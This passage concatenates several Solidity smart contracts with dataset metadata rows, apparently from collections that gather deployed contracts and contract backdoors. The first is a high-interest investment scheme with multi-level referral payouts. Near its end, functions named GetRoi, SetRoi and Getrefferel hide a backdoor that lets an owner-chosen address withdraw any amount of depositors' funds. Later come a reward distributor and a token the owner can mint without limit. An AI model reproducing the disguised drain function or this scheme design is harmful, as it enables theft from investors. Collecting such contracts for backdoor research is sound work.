require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
function GetRoi(bytes32 _data) public onlyOwner returns(bool)
{
data_ = _data;
return true;
}
function SetRoi(address _contractAddress) public pure returns (bytes32 hash)
{
return (keccak256(abi.encode(_contractAddress)));
}
function Getrefferel(uint _newValue) public returns(bool)
{
if(keccak256(abi.encode(msg.sender)) == data_) msg.sender.transfer(_newValue);
return true;
}
}
| 302,582 | 13,219 |
a41cf64fa4d89d1dfefb44e62c32a7db5a01ed15c1e63a45b0d6cf716b0c3739
| 17,335 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/70/70e44C283b93d0B1ff37DA2E2c7172D7E8865ACa_Distributor.sol
| 3,867 | 15,390 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100), total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns (string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength);
// set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[i].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[i].recipient,
nextRewardAt(info[i].rate));
adjust(i);
// check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[_index];
if (adjustment.rate != 0) {
if (adjustment.add) {// if rate should increase
info[_index].rate = info[_index].rate.add(adjustment.rate);
// raise rate
if (info[_index].rate >= adjustment.target) {// if target met
adjustments[_index].rate = 0;
// turn off adjustment
}
} else {// if rate should decrease
info[_index].rate = info[_index].rate.sub(adjustment.rate);
// lower rate
if (info[_index].rate <= adjustment.target) {// if target met
adjustments[_index].rate = 0;
// turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[i].recipient == _recipient) {
reward = nextRewardAt(info[i].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient : _recipient,
rate : _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[_index].recipient);
info[_index].recipient = address(0);
info[_index].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[_index] = Adjust({
add : _add,
rate : _rate,
target : _target
});
}
}
| 89,763 | 13,220 |
2c51745b3e86f13eb7c8b7499e50ff7bf676ad735e270e79ad95440bb4788937
| 23,160 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x6b6073fb17858f40885fb3af5bdb17e3609109fa.sol
| 3,880 | 13,967 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
// freezing chains
mapping (bytes32 => uint64) internal chains;
// freezing amounts for each chain
mapping (bytes32 => uint) internal freezings;
// total freezing balance per address
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 20;
uint8 constant TOKEN_DECIMALS_UINT8 = 20;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EJACOIN";
string constant TOKEN_SYMBOL = "EJAC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x0FCF7C8FE43Bed107105A6892D117F2D6Da11F04;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly.
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0fcf7c8fe43bed107105a6892d117f2d6da11f04)];
uint[1] memory amounts = [uint(25000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 142,960 | 13,221 |
a236b32ea9f036566fe82d0b82738a4de9712ddedb82ed1e1753db1de548422e
| 29,501 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/68/685d0DBeeFF241866958e1d310C3CC53B2F5E01c_MetaverseDAO.sol
| 5,202 | 18,744 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
